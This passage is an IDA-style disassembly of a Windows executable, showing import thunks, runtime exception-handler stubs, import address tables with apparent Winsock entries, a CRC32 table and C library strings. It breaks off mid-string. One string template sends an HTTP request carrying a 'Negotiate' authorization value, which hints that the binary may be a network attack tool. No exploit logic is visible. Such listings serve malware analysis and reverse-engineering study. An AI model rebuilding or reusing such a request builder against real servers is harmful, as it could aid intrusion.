sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426750 proc near ; CODE XREF: sub_40D99C+6Cp jmp ds:dword_4271D8 sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep ; sub_40E992+14Ap ... jmp ds:dword_42722C sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42675C proc near ; CODE XREF: unknown_libname_2+23p ; __global_unwind2+13p jmp ds:dword_42719C sub_42675C endp ; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426813 proc near ; DATA XREF: .rdata:off_427D68o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4268B6 test [esp+4+arg_0], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: sub_426813+Dj mov eax, esi pop esi retn 4 sub_426813 endp ; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; sub_426813+3p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D68 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS KEYPAD "+" TO EXPAND] ; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND] ; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND] ; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: .rdata:stru_427F48o ; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A9 sub_426DD8 endp ; =============== S U B R O U T I N E ======================================= sub_426DE0 proc near ; DATA XREF: .rdata:stru_427F48o mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A9 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: sub_426DE0+8j retn sub_426DE0 endp ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Do mov eax, offset stru_427F48 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426E04 proc near ; DATA XREF: .rdata:stru_427F78o lea ecx, [ebp+14h] jmp loc_40D4A9 sub_426E04 endp ; =============== S U B R O U T I N E ======================================= sub_426E0C proc near ; DATA XREF: .rdata:stru_427F78o lea ecx, [ebp-1Ch] jmp loc_40D4A9 sub_426E0C endp ; =============== S U B R O U T I N E ======================================= sub_426E14 proc near ; DATA XREF: sub_40D21Fo mov eax, offset stru_427F78 jmp ___CxxFrameHandler sub_426E14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426E20 proc near ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o mov eax, offset stru_427FA8 jmp ___CxxFrameHandler sub_426E20 endp ; =============== S U B R O U T I N E ======================================= sub_426E2A proc near ; DATA XREF: .rdata:stru_428000o mov ecx, [ebp-14h] jmp sub_4268B6 sub_426E2A endp ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset stru_428008 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426E3C proc near ; DATA XREF: .rdata:stru_428098o lea ecx, [ebp-20h] jmp loc_40D4A9 sub_426E3C endp ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset stru_4280A0 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426E4E proc near ; DATA XREF: .rdata:stru_4280BCo mov ecx, [ebp-14h] jmp sub_4268B6 sub_426E4E endp ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset stru_4280C4 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426E60 proc near ; DATA XREF: .rdata:stru_4280E0o mov ecx, [ebp-10h] jmp sub_4268B6 sub_426E60 endp ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset stru_4280E8 jmp ___CxxFrameHandler ; =============== S U B R O U T I N E ======================================= sub_426E72 proc near ; DATA XREF: .rdata:stru_428140o lea ecx, [ebp-20h] jmp loc_40D4A9 sub_426E72 endp ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset stru_428148 jmp ___CxxFrameHandler _text ends ; Section 2. (virtual address 00027000) ; Virtual size : 00001CAE ( 7342.) ; Section size in file : 00001CAE ( 7342.) ; Offset to raw data for section: 00027000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 427000h dword_427000 dd 77E75D9Eh ; DATA XREF: sub_40F96B+201r ; sub_416DC9+26r dword_427004 dd 77E6BD68h ; DATA XREF: ___crtsetenv+173r dword_427008 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+3Er ; ___crtCompareStringA+261r dword_42700C dd 77E762D0h ; DATA XREF: ___crtCompareStringA+5Br ; ___crtCompareStringA+B9r dword_427010 dd 77E70192h ; DATA XREF: __chsize+F9r dword_427014 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r dword_427018 dd 77E7339Ch ; DATA XREF: sub_424770+Cr dword_42701C dd 77E7C9E7h ; DATA XREF: sub_424752+5r ; sub_424763+6r dword_427020 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr ; ___crtGetStringTypeA+12Dr ... dword_427024 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r ; ___crtGetStringTypeA+8Dr ... dword_427028 dd 77E73FF9h ; DATA XREF: __commit+2Cr dword_42702C dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_423801r ; __free_osfhnd:loc_42387Br dword_427030 dd 77E78406h ; DATA XREF: __ioinit+FFr ; __ioinit+166r ... dword_427034 dd 77E79C3Dh ; DATA XREF: __ioinit+158r ; __NMSG_WRITE+143r dword_427038 dd 77E7C931h ; DATA XREF: __ioinit+19Dr dword_42703C dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+9r dword_427040 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_4231FFr ; ___crtGetEnvironmentStringsA+E1r dword_427044 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr dword_427048 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr dword_42704C dd 77EB9A84h ; DATA XREF: __XcptFilter+138r dword_427050 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r ; ___crtLCMapStringA+14Dr ... dword_427054 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er ; ___crtLCMapStringA+A7r ... dword_427058 dd 77F522F2h ; DATA XREF: sub_422608+58r dword_42705C dd 77E6D706h ; DATA XREF: __raise_exc+215r ; _CxxThrowException(x,x)+2Er dword_427060 dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar dword_427064 dd 77E75CB5h ; DATA XREF: sub_40111D+DFr ; WinMain(x,x,x,x)+7Ar ... dword_427068 dd 77E77963h ; DATA XREF: sub_40111D+B8r ; WinMain(x,x,x,x)+2DBr ... dword_42706C dd 77E61BB8h ; DATA XREF: sub_40111D+A7r ; WinMain(x,x,x,x)+2C3r ... dword_427070 dd 77E7A099h ; DATA XREF: sub_40111D+83r ; WinMain(x,x,x,x)+DAr ... dword_427074 dd 77E704FCh ; DATA XREF: sub_40111D+74r ; WinMain(x,x,x,x)+C4r ... dword_427078 dd 77E61BE6h ; DATA XREF: sub_40111D+29r ; WinMain(x,x,x,x)+1F4r ... dword_42707C dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r ; sub_401ACD+7BBr ... dword_427080 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br ; sub_401ACD+7872r ... dword_427084 dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+274r ; sub_417276+15r ... dword_427088 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r dword_42708C dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r ; WinMain(x,x,x,x)+3E6r ... dword_427090 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4013DCr dword_427094 dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r ; WinMain(x,x,x,x)+221r ... dword_427098 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er ; sub_40F6B4+110r ... dword_42709C dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r ; sub_409B13+2r ... dword_4270A0 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br ; WinMain(x,x,x,x)+311r ... dword_4270A4 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r dword_4270A8 dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr ; sub_401ACD+2561r ... dword_4270AC dd 77E75CEBh ; DATA XREF: sub_401ACD+7AD8r ; sub_40B232+2Br ... dword_4270B0 dd 77E6AD34h ; DATA XREF: sub_401ACD+69ACr ; sub_41835A+35r dword_4270B4 dd 77E71AFEh ; DATA XREF: sub_401ACD+6776r dword_4270B8 dd 77E805D8h ; DATA XREF: sub_409B13+13Ar ; sub_409B13:loc_40A021r ... dword_4270BC dd 77E7A5FDh ; DATA XREF: sub_409B13+11r ; sub_416F1B+60r ... dword_4270C0 dd 77E65F4Ch ; DATA XREF: .text:0040ADF7r ; sub_419594+34r dword_4270C4 dd 77E7513Ch ; DATA XREF: .text:0040AE8Er dword_4270C8 dd 77E7C657h ; DATA XREF: .text:0040AF02r ; sub_4184E2+32r ... dword_4270CC dd 77E73C49h ; DATA XREF: sub_40B162+4Ar ; sub_40B8A2+1AFr ... dword_4270D0 dd 77F7E300h ; DATA XREF: sub_40C125+142r dword_4270D4 dd 77F7E21Fh ; DATA XREF: sub_40C125+D7r dword_4270D8 dd 77E7C706h ; DATA XREF: sub_40C33D+77r dword_4270DC dd 77F53275h ; DATA XREF: sub_40C33D+6Br ; sub_40C33D+22Fr dword_4270E0 dd 77E79D8Ch ; DATA XREF: sub_40D8AE+94r ; sub_40D99C+181r ... dword_4270E4 dd 77E737DEh ; DATA XREF: sub_40D99C+43Ar dword_4270E8 dd 77E78B82h ; DATA XREF: sub_40D99C+1A9r ; sub_40D99C+499r ... dword_4270EC dd 77E7A837h ; DATA XREF: sub_40D99C+A7r ; sub_40F6B4+1CBr ... dword_4270F0 dd 77E616B4h ; DATA XREF: sub_40E504+19Br ; sub_410CD6+115r ... dword_4270F4 dd 77E79CE3h ; DATA XREF: sub_40E504+111r ; sub_410F20+77r ... dword_4270F8 dd 77E79C90h ; DATA XREF: sub_40E504+FDr ; sub_40E504+10Ar ... dword_4270FC dd 77E7727Ah ; DATA XREF: sub_40E504+74r ; sub_410E27+23r ... dword_427100 dd 77E64106h ; DATA XREF: sub_40F531+A0r ; sub_41AA43+1B6r dword_427104 dd 77E64006h ; DATA XREF: sub_40F531+8Cr ; sub_41AA43+19Fr dword_427108 dd 77E793EFh ; DATA XREF: sub_40F6B4+1F5r ; sub_40FFF1+38r ... dword_42710C dd 77E78EAAh ; DATA XREF: sub_40F96B+5ECr ; sub_416DC9+C0r ... dword_427110 dd 77E79424h ; DATA XREF: sub_40F96B+280r ; sub_417276+135r dword_427114 dd 77E794BFh ; DATA XREF: sub_40F96B+272r ; sub_417276+123r dword_427118 dd 77E75E67h ; DATA XREF: sub_40F96B+212r ; sub_40F96B+5DBr ... dword_42711C dd 77E78C81h ; DATA XREF: sub_40FFF1+6Cr ; sub_415E1B+259r ... dword_427120 dd 77E76968h ; DATA XREF: sub_410A4E+5Fr dword_427124 dd 77E74C59h ; DATA XREF: sub_410CD6+C7r dword_427128 dd 77EC7C51h ; DATA XREF: sub_4110AB+5Er dword_42712C dd 77E70F89h ; DATA XREF: sub_411C14+Er ; sub_4151AD+Dr ... dword_427130 dd 77E802FCh ; DATA XREF: sub_412B09+18Cr ; sub_412B09+2D4r ... dword_427134 dd 77E6D75Bh ; DATA XREF: sub_412B09+182r ; sub_41386C+FFr dword_427138 dd 77E80618h ; DATA XREF: sub_416F1B+170r ; sub_4185A5+D4r dword_42713C dd 77E78147h ; DATA XREF: sub_416F1B+BCr dword_427140 dd 77F51597h ; DATA XREF: sub_4170ED+41r ; sub_4170ED+F5r ... dword_427144 dd 77F516F8h ; DATA XREF: sub_4170ED+21r ; sub_417276+4Ar ... dword_427148 dd 77E77CB7h ; DATA XREF: sub_4170ED+10r ; sub_417276+40r ... dword_42714C dd 77E7F01Ah ; DATA XREF: sub_417276+88r ; sub_41741D+55r dword_427150 dd 77E61A54h ; DATA XREF: sub_417276+56r ; sub_41741D+97r dword_427154 dd 77E7C3A5h ; DATA XREF: sub_417276+34r ; sub_41741D+2Er dword_427158 dd 77E76A60h ; DATA XREF: sub_41814D+2Dr dword_42715C dd 77E71B14h ; DATA XREF: sub_4181D7+26r dword_427160 dd 77E7166Fh ; DATA XREF: sub_4181D7+1Dr dword_427164 dd 77E75090h ; DATA XREF: sub_418212+69r dword_427168 dd 77E74D76h ; DATA XREF: sub_418212+36r dword_42716C dd 77E77797h ; DATA XREF: sub_418212+25r dword_427170 dd 77E7011Ah ; DATA XREF: sub_418294+96r dword_427174 dd 77E73CE2h ; DATA XREF: sub_418294+60r dword_427178 dd 77E668D9h ; DATA XREF: sub_41835A+15Dr dword_42717C dd 77E79924h ; DATA XREF: sub_418B59+13r ; ___crtLCMapStringA+20Dr ... dword_427180 dd 77E77CCEh ; DATA XREF: sub_418C2B+Fr ; _mbstowcs+54r ... dword_427184 dd 77E76A2Eh ; DATA XREF: sub_4196BD+DEr dword_427188 dd 77E7FF65h ; DATA XREF: sub_419B10+5Ar dword_42718C dd 77EB7624h ; DATA XREF: sub_419B10+3Dr dword_427190 dd 77E6C29Dh ; DATA XREF: sub_41A19E+1EBr dword_427194 dd 77E76C1Ah ; DATA XREF: sub_41AA43+1CFr dword_427198 dd 77F5722Fh ; DATA XREF: sub_41B202+110r ; sub_41B202+22Dr ... dword_42719C dd 77F6183Eh ; DATA XREF: sub_42675Cr dword_4271A0 dd 77E76E3Dh ; DATA XREF: _time+6Cr __tzset+38r dword_4271A4 dd 77E61608h ; DATA XREF: _time+17r dword_4271A8 dd 77E6177Ah ; DATA XREF: start+9Fr __ioinit+59r dword_4271AC dd 77E7C938h ; DATA XREF: start+74r dword_4271B0 dd 77E7C486h ; DATA XREF: start+26r dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41DC8A+54r dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41DDD2+50r dword_4271BC dd 77E7C726h ; DATA XREF: sub_41DDD2+11r dword_4271C0 dd 77E79E34h ; DATA XREF: sub_41DEA2+240r ; sub_41E976+120r ... dword_4271C4 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r ; ___sbh_alloc_new_group+51r ... dword_4271C8 dd 77E73196h ; DATA XREF: sub_42478C+Cr dword_4271CC dd 77E7849Fh ; DATA XREF: __setmbcp+48r ; _setSBUpLow+14r ... dword_4271D0 dd 77E7A13Fh ; DATA XREF: _getSystemCP+2Fr align 8 dword_4271D8 dd 71B2ACCBh ; DATA XREF: sub_426750r align 10h dword_4271E0 dd 71AB4122h ; DATA XREF: sub_414B46+D4r dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr dword_4271E8 dd 71AB401Ch ; DATA XREF: sub_412661+21Br ; sub_412661+243r dword_4271EC dd 71AB1836h ; DATA XREF: sub_40EFBF+6Er ; sub_40F03C+8Er dword_4271F0 dd 71AB41DAh ; DATA XREF: sub_40E992+4Ar ; sub_40EFBF+15r dword_4271F4 dd 71AB3F8Dh ; DATA XREF: sub_40E992+5Ar dword_4271F8 dd 71AB155Ah ; DATA XREF: sub_40E992+8Dr ; sub_4136C6+70r ... dword_4271FC dd 71AB3ECEh ; DATA XREF: sub_40E992+B5r dword_427200 dd 71AB5DE2h ; DATA XREF: sub_40E992+C9r dword_427204 dd 71AB868Dh ; DATA XREF: sub_40E992+171r dword_427208 dd 71AB5A01h ; DATA XREF: sub_414C2F+20r dword_42720C dd 71AB12F8h ; DATA XREF: sub_40DEA1+27r ; sub_40DFE3+27r ... dword_427210 dd 71AB1746h ; DATA XREF: sub_40DEA1+36r ; sub_40DFE3+36r ... dword_427214 dd 71AB3E5Dh ; DATA XREF: sub_40DEA1+59r ; sub_40DFE3+59r ... dword_427218 dd 71AB5690h ; DATA XREF: sub_40DEA1+6Ar ; sub_40DFE3+6Ar ... dword_42721C dd 71AB1A6Dh ; DATA XREF: sub_40DEA1+E0r ; sub_40DFE3+E0r ... dword_427220 dd 71AB3C22h ; DATA XREF: .text:0040D389r ; sub_40DEA1+45r ... dword_427224 dd 71AB1AF4h ; DATA XREF: sub_40CFDF+12r ; sub_40DEA1+C3r ... dword_427228 dd 71AB1890h ; DATA XREF: sub_40CE41+4Cr ; sub_40E992+106r dword_42722C dd 71AB1B7Bh ; DATA XREF: sub_426756r dword_427230 dd 71AB157Eh ; DATA XREF: sub_401ACD+2FA9r align 8 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do ; sub_401ACD+356Do ... dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do ; sub_401ACD+38D3o ... ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: sub_40D99C+398r dbl_4276A8 dq 9.765625e-4 ; DATA XREF: sub_4163FA+2BDr ; sub_4163FA+2D8r ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r ; sub_417ADE+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br ; sub_417ADE+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr ; sub_417ADE+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r ; sub_417ADE+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r dbl_427710 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ... dword_427718 dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh ; DATA XREF: start+5o ; char Str1[] Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41DC8A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41DC8A+4Fo align 4 byte_427754 db 6 ; DATA XREF: __output:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_43CBF4o unicode 0, <(null)>,0 align 10h aNull db '(null)',0 ; DATA XREF: .data:off_43CBF0o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .data:off_43CE6Co dbl_427878 dq 0.0 ; DATA XREF: __handle_exc+8Cr ; __handle_exc+ACr ... dbl_427880 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_427888 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 4 ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 10h dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: ___FrameUnwindToState+5o dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o dd offset sub_42224A align 10h dd offset sub_422228 dd offset sub_422232 dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: unknown_libname_11+5o dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 8 dd offset loc_422599 dd offset loc_42259D dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 10h dd offset loc_4225EF dd offset loc_4225F3 dword_427938 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o ; ___crtGetStringTypeA+39o ... dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: ___crtLCMapStringA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 aDomainError db 'DOMAIN 